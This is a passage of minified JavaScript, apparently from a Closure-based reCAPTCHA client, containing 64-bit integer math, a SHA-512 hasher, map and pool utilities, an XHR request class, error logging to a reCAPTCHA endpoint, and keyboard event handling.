S-32)),x),TL))return 0>N.W?WG:PG;return S=F.add(Ud(Zq(N,x))),x.add(oP(S,N))}return 0>N.W?oP(Ud(F),Ud(N)):Ud(oP(Ud(F),N))}if(aP(F))return TL;if(0>N.W)return La(N,HG)?TL:Ud(oP(F,Ud(N)));for(U=(S=F,TL);0<=cG(S,N);){for(a=Ed((Z=48>=(Z=Math.ceil((x=Math.max(1,Math.floor(xZ(S)/xZ(N))),Math.log(x)/Math.LN2)),Z)?1:Math.pow(2,Z-48),x)),c=Zq(a,N);0>c.W||0<cG(c,S);)x-=Z,a=Ed(x),c=Zq(a,N);U=U.add((aP(a)&&(a=WG),a)),S=S.add(Ud(c))}return U},Su=function(F,N){return new N5(F,N)},Ed=function(F){return 0<F?0x7fffffffffffffff<=
F?VS:new N5(F,F/4294967296):0>F?-9223372036854775808>=F?HG:Ud(new N5(-F,-F/4294967296)):TL},TL=Su(0,0),WG=Su(1,0),PG=Su(-1,-1),VS=Su(4294967295,2147483647),HG=Su(0,2147483648),$Z=function(F,N){(this.U=!(this.Iw=((this.C=((this.L=128,this).o=p.Uint8Array?new Uint8Array(this.L):Array(this.L),this).G=0,this.T=F,this).N=[],this.$=[],YZ(N)),1),this).reset()},q5=Va([(K($Z,QO),128)],hd(127)),Od=(($Z.prototype.X=($Z.prototype.H=function(F,N,x,S,U,Z){if(this.U)throw Error("this hasher needs to be reset");
for(N=(F=8*this.C,112>this.G?this.I(q5,112-this.G):this.I(q5,this.L-this.G+112),127);112<=N;N--)this.o[N]=F&255,F/=256;for(N=(x=(F=(Od(this),0),Array(8*this.T)),0);N<this.T;N++){for(S=(S=(Z=24,this.$[N]),U=S.W,S.S);0<=Z;Z-=8)x[F++]=U>>Z&255;for(Z=24;0<=Z;Z-=8)x[F++]=S>>Z&255}return this.U=!0,x},function(F,N,x){for(var S=(F.S^2147483648)+(N.S^2147483648),U=arguments.length-1,Z=F.W+N.W;2<=U;--U)S+=arguments[U].S^2147483648,Z+=arguments[U].W;return new N5((Z+=arguments.length>>1,arguments.length&1&&
(S+=2147483648),Z+=Math.floor(S/4294967296),S),Z)}),$Z.prototype.reset=function(){this.U=(this.$=(this.C=this.G=0,Eh(this.Iw)),!1)},$Z.prototype).I=function(F,N,x,S,U,Z){if((x=void 0!==N?N:F.length,this).U)throw Error("this hasher needs to be reset");if("string"===(S=this.G,typeof F))for(U=0;U<x;U++){if(255<(Z=F.charCodeAt(U),Z))throw Error("Characters must be in range [0,255]");(this.o[S++]=Z,S==this.L)&&(Od(this),S=0)}else if(jE(F))for(U=0;U<x;U++){if((Z=F[U],"number"!==typeof Z)||0>Z||255<Z||Z!=
(Z|0))throw Error("message must be a byte array");(this.o[S++]=Z,S)==this.L&&(Od(this),S=0)}else throw Error("message must be string or array");this.C+=(this.G=S,x)},function(F,N,x,S,U,Z,a,c,H,W,E,V,m,t,l,B){for(S=(N=(x=F.N,F.o),0);16>S;S++)U=8*S,x[S]=new N5(N[U+4]<<24|N[U+5]<<16|N[U+6]<<8|N[U+7],N[U]<<24|N[U+1]<<16|N[U+2]<<8|N[U+3]);for(S=16;80>S;S++)U=x[S-15],N=U.S,Z=x[S-2],U=U.W,a=Z.S,Z=Z.W,x[S]=F.X(x[S-16],x[S-7],new N5(N>>>1^U<<31^N>>>8^U<<24^N>>>7^U<<25,U>>>1^N<<31^U>>>8^N<<24^U>>>7),new N5(a>>>
19^Z<<13^Z>>>29^a<<3^a>>>6^Z<<26,Z>>>19^a<<13^a>>>29^Z<<3^Z>>>6));for(a=F.$[Z=F.$[c=F.$[4],3],H=(U=F.$[1],W=F.$[6],F.$[N=F.$[0],E=(S=0,F.$[7]),5]),2];80>S;S++)V=N.S,m=N.W,V=(new N5(V>>>28^m<<4^m>>>2^V<<30^m>>>7^V<<25,m>>>28^V<<4^V>>>2^m<<30^V>>>7^m<<25)).add(new N5(N.S&U.S|U.S&a.S|N.S&a.S,N.W&U.W|U.W&a.W|N.W&a.W)),l=c.S,m=c.S,t=c.W,B=c.W,m=F.X(E,new N5(m>>>14^t<<18^m>>>18^t<<14^t>>>9^m<<23,t>>>14^m<<18^t>>>18^m<<14^m>>>9^t<<23),new N5(l&H.S|~l&W.S,B&H.W|~B&W.W),mQ[S],x[S]),E=W,W=H,H=c,c=Z.add(m),
Z=a,a=U,U=N,N=m.add(V);(((F.$[0]=F.$[0].add(N),F).$[1]=F.$[1].add(U),F.$[2]=F.$[2].add(a),F).$[3]=F.$[3].add(Z),F.$[4]=F.$[4].add(c),F.$[5]=F.$[5].add(H),F.$[6]=F.$[6].add(W),F).$[7]=F.$[7].add(E)}),YZ=function(F,N,x){for(N=(x=0,[]);x<F.length;x+=2)N.push(new N5(F[x+1],F[x]));return N},mQ=YZ([1116352408,3609767458,1899447441,602891725,3049323471,3964484399,3921009573,2173295548,961987163,4081628472,1508970993,3053834265,2453635748,2937671579,2870763221,3664609560,3624381080,2734883394,310598401,1164996542,
607225278,1323610764,1426881987,3590304994,1925078388,4068182383,2162078206,991336113,2614888103,633803317,3248222580,3479774868,3835390401,2666613458,4022224774,944711139,264347078,2341262773,604807628,2007800933,770255983,1495990901,1249150122,1856431235,1555081692,3175218132,1996064986,2198950837,2554220882,3999719339,2821834349,766784016,2952996808,2566594879,3210313671,3203337956,3336571891,1034457026,3584528711,2466948901,113926993,3758326383,338241895,168717936,666307205,1188179964,773529912,
1546045734,1294757372,1522805485,1396182291,2643833823,1695183700,2343527390,1986661051,1014477480,2177026350,1206759142,2456956037,344077627,2730485921,1290863460,2820302411,3158454273,3259730800,3505952657,3345764771,106217008,3516065817,3606008344,3600352804,1432725776,4094571909,1467031594,275423344,851169720,430227734,3100823752,506948616,1363258195,659060556,3750685593,883997877,3785050280,958139571,3318307427,1322822218,3812723403,1537002063,2003034995,1747873779,3602036899,1955562222,1575990012,
2024104815,1125592928,2227730452,2716904306,2361852424,442776044,2428436474,593698344,2756734187,3733110249,3204031479,2999351573,3329325298,3815920427,3391569614,3928383900,3515267271,566280711,3940187606,3454069534,4118630271,4000239992,116418474,1914138554,174292421,2731055270,289380356,3203993006,460393269,320620315,685471733,587496836,852142971,1086792851,1017036298,365543100,1126000580,2618297676,1288033470,3409855158,1501505948,4234509866,1607167915,987167468,1816402316,1246189591]),JT=function(){$Z.call(this,
8,pa)},Ka=(K(JT,$Z),"StopIteration"in p?p.StopIteration:{message:"StopIteration",stack:""}),pa=[1779033703,4089235720,3144134277,2227873595,1013904242,4271175723,2773480762,1595750129,1359893119,2917565137,2600822924,725511199,528734635,4215389547,1541459225,327033209],hT=L(),AT=(hT.prototype.KV=function(){return this},hT.prototype.next=function(){throw Ka;},function(F,N,x){if(jE(F))try{w(F,N,x)}catch(S){if(S!==Ka)throw S;}else{F=w9(F);try{for(;;)N.call(x,F.next(),void 0,F)}catch(S){if(S!==Ka)throw S;
}}}),sd=function(F,N){var x=(this.H=(this.L=(this.$=[],{}),this.I=0),arguments.length);if(1<x){if(x%2)throw Error("Uneven number of arguments");for(var S=0;S<x;S+=2)this.set(arguments[S],arguments[S+1])}else if(F)if(F instanceof sd)for(x=F.gS(),S=0;S<x.length;S++)this.set(x[S],F.get(x[S]));else for(S in F)this.set(S,F[S])},w9=function(F,N,x){if(F instanceof hT)return F;if("function"==typeof F.KV)return F.KV(!1);if(jE(F))return N=0,x=new hT,x.next=function(){for(;;){if(N>=F.length)throw Ka;if(N in
F)return F[N++];N++}},x;throw Error("Not implemented");},tT=(sd.prototype.Hu=P("I"),function(F,N){return X3(F.L,N)?(delete F.L[N],F.I--,F.H++,F.$.length>2*F.I&&lw(F),!0):!1}),g9=((sd.prototype.get=function(F,N){return X3(this.L,F)?this.L[F]:N},sd).prototype.Rw=function(F,N){for(F=(lw(this),[]),N=0;N<this.$.length;N++)F.push(this.L[this.$[N]]);return F},(sd.prototype.forEach=function(F,N,x,S,U,Z){for(S=(x=this.gS(),0);S<x.length;S++)U=x[S],Z=this.get(U),F.call(N,Z,U,this)},(sd.prototype.set=function(F,
N){X3(this.L,F)||(this.I++,this.$.push(F),this.H++),this.L[F]=N},sd).prototype).gS=function(){return(lw(this),this.$).concat()},function(F){F.L=((F.H=0,F.$).length=(F.I=0,0),{})}),lw=function(F,N,x,S,U){if(F.I!=F.$.length){for(x=N=0;N<F.$.length;)S=F.$[N],X3(F.L,S)&&(F.$[x++]=S),N++;F.$.length=x}if(F.I!=F.$.length){for(x=(U={},N=0);N<F.$.length;)S=F.$[N],X3(U,S)||(F.$[x++]=S,U[S]=1),N++;F.$.length=x}},X3=(sd.prototype.KV=function(F,N,x,S,U){return(U=(x=(S=(N=(lw(this),0),this),this.H),new hT),U).next=
function(Z){if(x!=S.H)throw Error("The map has changed since the iterator was created");if(N>=S.$.length)throw Ka;return(Z=S.$[N++],F)?Z:S.L[Z]},U},function(F,N){return Object.prototype.hasOwnProperty.call(F,N)}),na=function(F,N,x){if((this.$=(cl.call(this),this.L=null,[]),this).H=N,F>this.H)throw Error("[goog.structs.SimplePool] Initial cannot be greater than max");for(x=0;x<F;x++)this.$.push(this.I())},BG=(K(na,cl),function(F,N){if(Q4(F))if(y4(F.Gk))F.Gk();else for(N in F)delete F[N]}),r9=function(F,
N){F.$.length<F.H?F.$.push(N):BG(N)},bw=(na.prototype.D=function(F){for(F=(na.O.D.call(this),this).$;F.length;)BG(F.pop());delete this.$},na.prototype.I=function(){return this.L?this.L():{}},function(F){this.T=((this.C=new na(0,((this.U=new ((this.H=new na(0,(this.G=((this.$=[],this.L=new sd,this).Iw=this.N=this.J=this.o=0,this.I=new sd,this.X=0),this.YE=1,4E3)),this.H).I=function(){return new vG},na)(0,50),F=this,this).U.I=function(){return new GL},2E3)),M5)(this.C,function(){return F.YE++}),{})}),
M5=function(F,N){F.L=N},GL=function(){this.a5=this.time=this.count=0},vG=(GL.prototype.toString=function(F){return((F=[],F).push(this.type," ",this.count," (",Math.round(10*this.time)/10," ms)"),this.a5)&&F.push(" [VarAlloc = ",this.a5,"]"),F.join("")},L()),Ca=function(F,N,x,S,U){return(0<(0==(U=[],-1==x?U.push(" "):U.push(d9(F.L-x)),U.push(" ",Dq(F.L-N)),F).$?U.push(" Start "):1==F.$?(U.push(" Done "),U.push(d9(F.G-F.startTime)," ms ")):U.push(" Comment "),U.push(S,F),F.H)&&U.push("[VarAlloc ",
F.H,"] "),U).join("")},yS=(vG.prototype.toString=(bw.prototype.reset=function(F,N,x){for(yS(this),F=0;F<this.$.length;F++)N=this.$[F],N.id?X3(this.L.L,N.id)||(r9(this.C,N.id),r9(this.H,N)):r9(this.H,N);for(F=(this.G=this.X=this.Iw=(this.$.length=0,this.o=f0(),this).N=this.J=0,this.I.gS()),N=0;N<F.length;N++)x=this.I.get(F[N]),x.count=0,x.time=0,x.a5=0,r9(this.U,x);g9(this.I)},function(){return null==this.type?this.I:"["+this.type+"] "+this.I}),function(F){g9((F.T.stop&&AT(F.L,function(N){this.T.stop(N.id,
iw)},F),F.L))}),iw={P_:!0},Dq=(bw.prototype.toString=function(F,N,x,S,U,Z){for(S=(F=[],x=[],0),N=-1;S<this.$.length;S++)U=this.$[S],1==U.$&&x.pop(),F.push(" ",Ca(U,this.o,N,x.join(""))),N=U.L,F.push("\n"),0==U.$&&x.push("| ");for(N=(0!=this.L.Hu()&&(Z=f0(),F.push(" Unstopped timers:\n"),AT(this.L,function(a){F.push(" ",a," (",Z-a.startTime," ms, started at ",Dq(a.startTime),")\n")})),this.I).gS(),S=0;S<N.length;S++)x=this.I.get(N[S]),1<x.count&&F.push(" TOTAL ",x,"\n");return F.push("Total tracers created ",
this.X,"\n","Total comments created ",this.G,"\n","Overhead start: ",this.J," ms\n","Overhead end: ",this.N," ms\n","Overhead comment: ",this.Iw," ms\n"),F.join("")},function(F){return(F=Math.round(F),String(100+F/1E3%60).substring(1,3)+".")+String(1E3+F%1E3).substring(1,4)}),d9=function(F,N){return((((F=(N="",Math.round(F)),1E3)>F&&(N=" "),100)>F&&(N=" "),10)>F&&(N=" "),N)+F},ju=(new bw,function(F){this.L=(cl.call(this),F)}),RP=((K(ju,cl),ju.prototype).D=function(F,N){(N=(N=(N=(N=(F=MR("window"),
F.setTimeout),N[QS(this,!1)])||N,F.setTimeout=N,F).setInterval,N[QS(this,!1)]||N),F).setInterval=N,ju.O.D.call(this)},function(F){(F=(FZ.call(this,"Error in protected function: "+(F&&F.message?String(F.message):String(F))),F&&F.stack))&&"string"===typeof F&&(this.stack=F)}),kZ=function(F,N,x){return(x=function(){if(F.Iw)return N.apply(this,arguments);try{return N.apply(this,arguments)}catch(U){var S=U;if(!(S&&"object"===typeof S&&"string"===typeof S.message&&0==S.message.indexOf("Error in protected function: ")||
"string"===typeof S&&0==S.indexOf("Error in protected function: ")))throw F.L(S),new RP(S);}finally{}},x)[QS(F,!1)]=N,x},uw=function(F,N,x){return((x=QS(F,!0),N[x])||((N[x]=kZ(F,N))[QS(F,!1)]=N),N)[x]},zL=function(F,N,x,S){(S=(x=MR("window"),x[N]),x)[N]=function(U,Z){if(arguments[0]=U=uw(F,("string"===typeof U&&(U=eE(zW,U)),U)),S.apply)return S.apply(this,arguments);var a=U;if(2<arguments.length)var c=(a=function(){U.apply(this,c)},Array.prototype).slice.call(arguments,2);return S(a,Z)},x[N][QS(F,
!1)]=S},QS=(ju.prototype.$=function(F){return uw(this,F)},function(F,N){return(N?"__wrapper_":"__protected_")+io(F)+"__"}),eu=(K(RP,FZ),function(F){return(new IP).p4(F)}),fa=function(F){if(/^\s*$/.test((F=String(F),F))?0:/^[\],:{}\s\u2028\u2029]*$/.test(F.replace(/\\["\\\/bfnrtu]/g,"@").replace(/(?:"[^"\\\n\r\u2028\u2029\x00-\x08\x0a-\x1f]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?)[\s\u2028\u2029]*(?=:|,|]|}|$)/g,"]").replace(/(?:^|:|,)(?:[\s\u2028\u2029]*\[)+/g,"")))try{return eval("("+
F+")")}catch(N){}throw Error("Invalid JSON string: "+F);},IP=L(),FT={'"':'\\"',"\\":"\\\\","/":"\\/","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\x0B":"\\u000b"},Nx=function(F,N,x,S,U,Z){if(null==N)x.push("null");else{if("object"==typeof N){if(dA(N)){for(U=(S=N,N=S.length,x.push("["),""),Z=0;Z<N;Z++)x.push(U),Nx(F,S[Z],x),U=",";x.push("]");return}if(N instanceof String||N instanceof Number||N instanceof Boolean)N=N.valueOf();else{for(S in x.push("{"),U="",N)Object.prototype.hasOwnProperty.call(N,
S)&&(Z=N[S],"function"!=typeof Z&&(x.push(U),x5(S,x),x.push(":"),Nx(F,Z,x),U=","));x.push("}");return}}switch(typeof N){case "string":x5(N,x);break;case "number":x.push(isFinite(N)&&!isNaN(N)?String(N):"null");break;case "boolean":x.push(String(N));break;case "function":x.push("null");break;default:throw Error("Unknown type: "+typeof N);}}},S_=(IP.prototype.p4=function(F,N){return Nx(this,(N=[],F),N),N.join("")},/\uffff/.test("\uffff")?/[\\"\x00-\x1f\x7f-\uffff]/g:/[\\"\x00-\x1f\x7f-\xff]/g),x5=function(F,
N){N.push('"',F.replace(S_,function(x,S){return S=FT[x],S||(S="\\u"+(x.charCodeAt(0)|65536).toString(16).substr(1),FT[x]=S),S}),'"')},ot=L(),ZD=function(F,N){return(N=F.$)||(N={},U9(F)&&(N[0]=!0,N[1]=!0),N=F.$=N),N},at,cx=(ot.prototype.$=null,L()),U9=(K(cx,ot),function(F,N,x,S){if(!F.L&&"undefined"==typeof XMLHttpRequest&&"undefined"!=typeof ActiveXObject){for(x=(N=["MSXML2.XMLHTTP.6.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"],0);x<N.length;x++){S=N[x];try{return new ActiveXObject(S),
F.L=S}catch(U){}}throw Error("Could not create ActiveXObject. ActiveX might be disabled, or MSXML might not be installed");}return F.L}),Ls=function(F){return(F=U9(F))?new ActiveXObject(F):new XMLHttpRequest},Hx=(at=new cx,function(F,N,x,S,U,Z,a){if(F)for(x=F.split("&"),S=0;S<x.length;S++)U=x[S].indexOf("="),a=null,0<=U?(Z=x[S].substring(0,U),a=x[S].substring(U+1)):Z=x[S],N(Z,a?decodeURIComponent(a.replace(/\+/g," ")):"")}),Wx=function(F,N,x,S){if(F.Rw&&"function"==typeof F.Rw)return F.Rw();if("string"===
typeof F)return F.split("");if(jE(F)){for(S=(x=(N=[],F.length),0);S<x;S++)N.push(F[S]);return N}return DE(F)},Px=function(F,N,x,S){if(dA(N))for(S=0;S<N.length;S++)Px(F,String(N[S]),x);else null!=N&&x.push(F+(""===N?"":"="+encodeURIComponent(String(N))))},T1=function(F,N,x,S){for(S=(x=[],N||0);S<F.length;S+=2)Px(F[S],F[S+1],x);return x.join("&")},VJ=function(F,N){var x=2==arguments.length?T1(arguments[1],0):T1(arguments,1);return E9(F,x)},Y5=function(F,N,x,S,U,Z,a){if(F.forEach&&"function"==typeof F.forEach)F.forEach(N,
x);else if(jE(F)||"string"===typeof F)w(F,N,x);else{if(F.gS&&"function"==typeof F.gS)S=F.gS();else if(F.Rw&&"function"==typeof F.Rw)S=void 0;else if(jE(F)||"string"===typeof F)for(Z=0,U=F.length,S=[];Z<U;Z++)S.push(Z);else S=nH(F);for(a=(U=Wx(F),Z=U.length,0);a<Z;a++)N.call(x,U[a],S&&S[a],F)}},$5=function(F){this.kE=this.o=!(this.X=(this.L=this.Xa=this.C=(this.I=(this.U=(((this.J=((e7.call(this),this).headers=new sd,F||null),this.$=!1,this).N=this.A=null,this).P="",""),0),this.K=!1),this.G=0,this.H=
"",null),1)},O9=function(F){return!(F=F.match(qx)[1]||null,F)&&p.self&&p.self.location&&(F=p.self.location.protocol,F=F.substr(0,F.length-1)),F?F.toLowerCase():""},E9=function(F,N,x,S,U){if(!N)return F;return((S=(x=[F.substr(0,(0>(0>(x=(S=F.indexOf("?"),F.indexOf("#")),x)&&(x=F.length),S)||S>x?(S=x,U=""):U=F.substring(S+1,x),S)),U,F.substr(x)],x)[1],x)[1]=N?S?S+"&"+N:N:S,x[0])+(x[1]?"?"+x[1]:"")+x[2]},qx=/^(?:([^:/?#.]+):)?(?:\/\/(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\?([^#]*))?(?:#([\s\S]*))?$/,
mK=function(F,N,x){for(x in N=[],F)Px(x,F[x],N);return N.join("&")},ps=(K($5,e7),[]),J0=($5.prototype.hX=function(){SU(ps,(this.Gk(),this))},/^https?$/i),Ks=["POST","PUT"],A0=(((($5.prototype.T2=P("H"),$5).prototype.uD=P("o"),$5.prototype).send=function(F,N,x,S,U){if(this.A)throw Error("[goog.net.XhrIo] Object is active with another request="+this.P+"; newUri="+F);(this.N=(this.A=(this.$=!(this.U=(this.I=((N=N?N.toUpperCase():"GET",this).P=F,this.K=!1,0),""),0),this).J?Ls(this.J):Ls(at),this.J?ZD(this.J):
ZD(at)),this).A.onreadystatechange=h(this.UE,this);try{this.Xa=!0,this.A.open(N,String(F),!0),this.Xa=!1}catch(Z){h0(this,Z);return}"withCredentials"in(((x=((U=new sd((F=x||"",this.headers)),S)&&Y5(S,function(Z,a){U.set(a,Z)}),S=qj(U.gS()),p.FormData)&&F instanceof p.FormData,!LH(Ks,N)||S||x)||U.set("Content-Type","application/x-www-form-urlencoded;charset=utf-8"),U).forEach(function(Z,a){this.A.setRequestHeader(a,Z)},this),this.H&&(this.A.responseType=this.H),this.A)&&this.A.withCredentials!==this.o&&
(this.A.withCredentials=this.o);try{wH(this),0<this.G&&((this.kE=A0(this.A))?(this.A.timeout=this.G,this.A.ontimeout=h(this.IK,this)):this.X=D(this.IK,this.G,this)),this.C=!0,this.A.send(F),this.C=!1}catch(Z){h0(this,Z)}},$5.prototype).IK=function(){"undefined"!=typeof vE&&this.A&&(this.I=8,this.U="Timed out after "+this.G+"ms, aborting",this.dispatchEvent("timeout"),this.abort(8))},function(F){return X&&TO(9)&&"number"===typeof F.timeout&&void 0!==F.ontimeout}),s9=function(F){F.K||(F.K=!0,F.dispatchEvent("complete"),
F.dispatchEvent("error"))},h0=function(F,N){XT((s9((F.I=(F.U=(F.$=!1,F.A&&(F.L=!0,F.A.abort(),F.L=!1),N),5),F)),F))},$o=function(F){return"content-type"==F.toLowerCase()},t0=(($5.prototype.cu=function(){ns(this)},$5.prototype).abort=function(F){this.A&&this.$&&(this.L=!0,this.$=!1,this.A.abort(),this.I=F||7,this.L=!1,this.dispatchEvent("complete"),this.dispatchEvent("abort"),XT(this))},$5.prototype.D=function(){(this.A&&(this.$&&(this.L=!0,this.$=!1,this.A.abort(),this.L=!1),XT(this,!0)),$5).O.D.call(this)},
function(F,N,x){N=lz(F);a:switch(N){case 200:case 201:case 202:case 204:case 206:case 304:case 1223:x=!0;break a;default:x=!1}if(!x){if(N=0===N)F=O9(String(F.P)),N=!J0.test(F);x=N}return x}),gH=function(F){return F.A?F.A.readyState:0},lz=function(F){try{return 2<gH(F)?F.A.status:-1}catch(N){return-1}},wH=function(F){(F.A&&F.kE&&(F.A.ontimeout=null),F.X)&&(iF(F.X),F.X=null)},XT=($5.prototype.UE=function(){this.Iw||(this.Xa||this.C||this.L?ns(this):this.cu())},function(F,N,x,S){if(F.A){F.N=(x=(S=(wH(F),
F.N[0]?J:null),F).A,F.A=null,null),N||F.dispatchEvent("ready");try{x.onreadystatechange=S}catch(U){}}}),ns=($5.prototype.getResponse=function(){try{if(!this.A)return null;if("response"in this.A)return this.A.response;switch(this.H){case "":case "text":return this.A.responseText;case "arraybuffer":if("mozResponseArrayBuffer"in this.A)return this.A.mozResponseArrayBuffer}return null}catch(F){return null}},function(F,N){if(F.$&&"undefined"!=typeof vE&&(!F.N[1]||4!=gH(F)||2!=lz(F)))if(F.C&&4==gH(F))D(F.UE,
0,F);else if(F.dispatchEvent("readystatechange"),4==gH(F)){F.$=!1;try{if(t0(F))F.dispatchEvent("complete"),F.dispatchEvent("success");else{F.I=6;try{N=2<gH(F)?F.A.statusText:""}catch(x){N=""}s9((F.U=N+" ["+lz(F)+"]",F))}}finally{XT(F)}}}),rH=(ZH(function(F){$5.prototype.cu=F($5.prototype.cu)}),function(F,N,x,S,U){if(!(this.L=(this.o=(this.I=(this.G=(e7.call(this),F),N||null),Bx),{}),x))if(this.$=null,X&&!TO("10"))Ll(h(this.H,this));else{for(x=[(N=MR((F=((this.$=new ju(h(this.H,this)),zL)(this.$,"setTimeout"),
zL(this.$,"setInterval"),this).$,"window")),S=0,"requestAnimationFrame"),"mozRequestAnimationFrame","webkitAnimationFrame","msRequestAnimationFrame"];S<x.length;S++)U=x[S],x[S]in N&&zL(F,U);for(x=(N=h((F=this.$,oo=!0,F.$),F),0);x<S7.length;x++)S7[x](N);U3.push(F)}}),vx=(K(rH,e7),function(F){($b.call(this,"a"),this).error=F}),dH=(K(vx,$b),function(F,N){F.classList?w(N,function(x){G1(F,x)}):Mx(F,KH(bz(F),function(x){return!LH(N,x)}).join(" "))}),DD=(rH.prototype.D=function(){Hl(this.$),rH.O.D.call(this)},
rH.prototype.H=function(F,N,x,S,U,Z,a,c,H,W){if((x=(F=F.error||F,N?XZ(N):{}),F instanceof Error&&Mj(x,F.__closure__error__context__984382||{}),S=Pl(F),this).I)try{this.I(S,x)}catch(E){}Z=(U=S.message.substring(0,1900),S.stack);try{if((c=(a=VJ(this.G,"script",S.fileName,"error",U,"line",S.lineNumber),td(this.L)||(U=a,c=mK(this.L),a=E9(U,c)),{}),c).trace=Z,x)for(H in x)c["context."+H]=x[H];W=mK(c),this.o(a,"POST",W,this.C)}catch(E){}try{this.dispatchEvent(new vx(S,x))}catch(E){}},function(F,N){return F.classList?
F.classList.contains(N):LH(bz(F),N)}),Cs=function(F){if(48<=F&&57>=F||96<=F&&106>=F||65<=F&&90>=F||(I8||ub)&&0==F)return!0;switch(F){case 32:case 43:case 63:case 64:case 107:case 109:case 110:case 111:case 186:case 59:case 189:case 187:case 61:case 188:case 190:case 191:case 192:case 222:case 219:case 220:case 221:case 163:return!0;case 173:return z3;default:return!1}},iz=function(F,N,x,S){if("FORM"==F.tagName)for(S=0,x=F.elements;F=x.item(S);S++)iz(F,N);else 1==N&&F.blur(),F.disabled=N},Bx=function(F,
N,x,S,U){((U=new $5,ps.push(U),U.T).add("ready",U.hX,!0,void 0,void 0),U).send(F,N,x,S)},bz=function(F){return F.classList?F.classList:yJ(F).match(/\S+/g)||[]},yJ=function(F){return"string"==typeof F.className?F.className:F.getAttribute&&F.getAttribute("class")||""},QJ=function(F){if(z3)F=j_(F);else if(fr&&I8)switch(F){case 93:F=91}return F},Rt=function(){new rH("/recaptcha/api2/jserrorlogging",void 0,void 0)},k5=function(F){(this.$=(e7.call(this),F),Gk)(F,"keydown",this.I,!1,this),Gk(F,"click",this.L,
!1,this)},uz=function(F,N,x,S,U,Z,a){if(I8&&!TO("525"))return!0;if(fr&&U)return Cs(F);if(U&&!S||!z3&&("number"===typeof N&&(N=QJ(N)),a=17==N||18==N||fr&&91==N,(!x||fr)&&a||fr&&16==N&&(S||Z)))return!1;if((I8||ub)&&S&&x)switch(F){case 220:case 219:case 221:case 192:case 186:case 189:case 187:case 188:case 190:case 191:case 192:case 222:return!1}if(X&&S&&N==F)return!1;switch(F){case 13:return z3?Z||U?!1:!(x&&S):!0;case 27:return!(I8||ub||z3)}return z3&&(S||U||Z)?!1:Cs(F)},Mx=function(F,N){"string"==
typeof F.className?F.className=N:F.setAttribute&&F.setAttribute("class",N)},j_=function(F){switch(F){case 61:return 187;case 59:return 186;case 173:return 189;case 224:return 91;case 0:return 224;default:return F}},G1=function(F,N){F.classList?F.classList.remove(N):DD(F,N)&&Mx(F,KH(bz(F),function(x){return x!=N}).join(" "))},z1=function(F,N,x){F.classList?F.classList.add(N):DD(F,N)||(x=yJ(F),Mx(F,x+(0<x.length?" "+N:N)))},It=function(F,N,x,S,U){if(F.classList)w(N,function(Z){z1(F,Z)});else{for(U in w(N,
(w((x={},bz(F)),function(Z){x[Z]=!0}),function(Z){x[Z]=!0})),S="",x)S+=0<S.length?" "+U:U;Mx(F,S)}},e_=function(F,N,x){x?z1(F,N):G1(F,N)},FR=((K(k5,e7),k5.prototype).L=function(F){fs(this,F)},function(F){this.type=(ml.call(this,F.OE),"action")}),fs=function(F,N,x){if((x=new N_(N),F).dispatchEvent(x)){x=new FR(N);try{F.dispatchEvent(x)}finally{N.L()}}},N_=(k5.prototype.D=(k5.prototype.I=function(F){(13==F.keyCode||I8&&3==F.keyCode)&&fs(this,F)},function(){delete (((k5.O.D.call(this),zk)(this.$,"keydown",
this.I,!1,this),zk)(this.$,"click",this.L,!1,this),this).$}),K(FR,ml),function(F){ml.call(this,F.OE),this.type="beforeaction"}),xH=(K(N_,ml),function(F){this.T=(cl.call(this),this.U={},F)}),Sy=(K(xH,cl),[]),Uv=function(F,N,x,S){o_(F,N,x,S,void 0)},ZX=function(F){F.U=(gN(F.U,function(N,x){this.U.hasOwnProperty(x)&&kb(N)},F),{})},o_=function(F,N,x,S,U,Z,a){if(dA(x))for(a=0;a<x.length;a++)o_(F,N,x[a],S,U,Z);else(N=vl(N,x,S||F.handleEvent,U,Z||F.T||F))&&(F.U[N.key]=N)},a_=((xH.prototype.handleEvent=function(){throw Error("EventHandler.handleEvent not implemented");
},xH.prototype.D=function(){(xH.O.D.call(this),ZX)(this)},xH).prototype.R=function(F,N,x,S,U,Z){for(U=(dA(N)||(N&&(Sy[0]=N.toString()),N=Sy),0);U<N.length;U++){if(!(Z=Gk(F,N[U],x||this.handleEvent,S||!1,this.T||this),Z))break;this.U[Z.key]=Z}return this},function(F,N,x,S,U,Z,a){if(dA(x))for(a=0;a<x.length;a++)a_(F,N,x[a],S,U,Z);else S=S||F.handleEvent,U=Q4(U)?!!U.capture:!!U,Z=Z||F.T||F,S=M2(S),U=!!U,x=w4(N)?tX(N.T,String(x),S,U,Z):N?(N=d4(N))?tX(N,x,S,U,Z):null:null,x&&(kb(x),delete F.U[x.key]);
return F}),LL=function(F,N){e7.call(this),F&&cI(this,F,N)},HI={3:13,12:144,63232:38,63233:40,63234:37,63235:39,63236:112,63237:113,63238:(((K(LL,e7),T=LL.prototype,T).RR=null,T).wS=-1,114),63239:115,63240:116,63241:117,63242:118,63243:119,63244:120,63245:121,63246:122,63247:123,63248:44,63272:46,63273:36,63275:35,63276:33,63277:34,63289:144,63302:45},WI={Up:38,Down:40,Left:(T.XO=(T.vu=-1,null),37),Right:39,Enter:13,F1:112,F2:113,F3:(T.cl=null,114),F4:115,F5:116,F6:117,F7:118,F8:119,F9:(T.Dd=(T.OJ=
null,!1),120),F10:121,F11:122,F12:123,"U+007F":46,Home:36,End:35,PageUp:33,PageDown:34,Insert:45},PI=!I8||TO("525"),TA=fr&&z3,V7=(LL.prototype.M=P(((LL.prototype.handleEvent=function(F,N,x,S,U,Z){(((U=(N=F.OE,N.altKey),X)&&"keypress"==F.type?(x=this.wS,S=13!=x&&27!=x?N.keyCode:0):(I8||ub)&&"keypress"==F.type?(x=this.wS,S=0<=N.charCode&&63232>N.charCode&&Cs(x)?N.charCode:0):k8&&!I8?(x=this.wS,S=Cs(x)?N.keyCode:0):("keypress"==F.type?(TA&&(U=this.Dd),N.keyCode==N.charCode?32>N.keyCode?(x=N.keyCode,
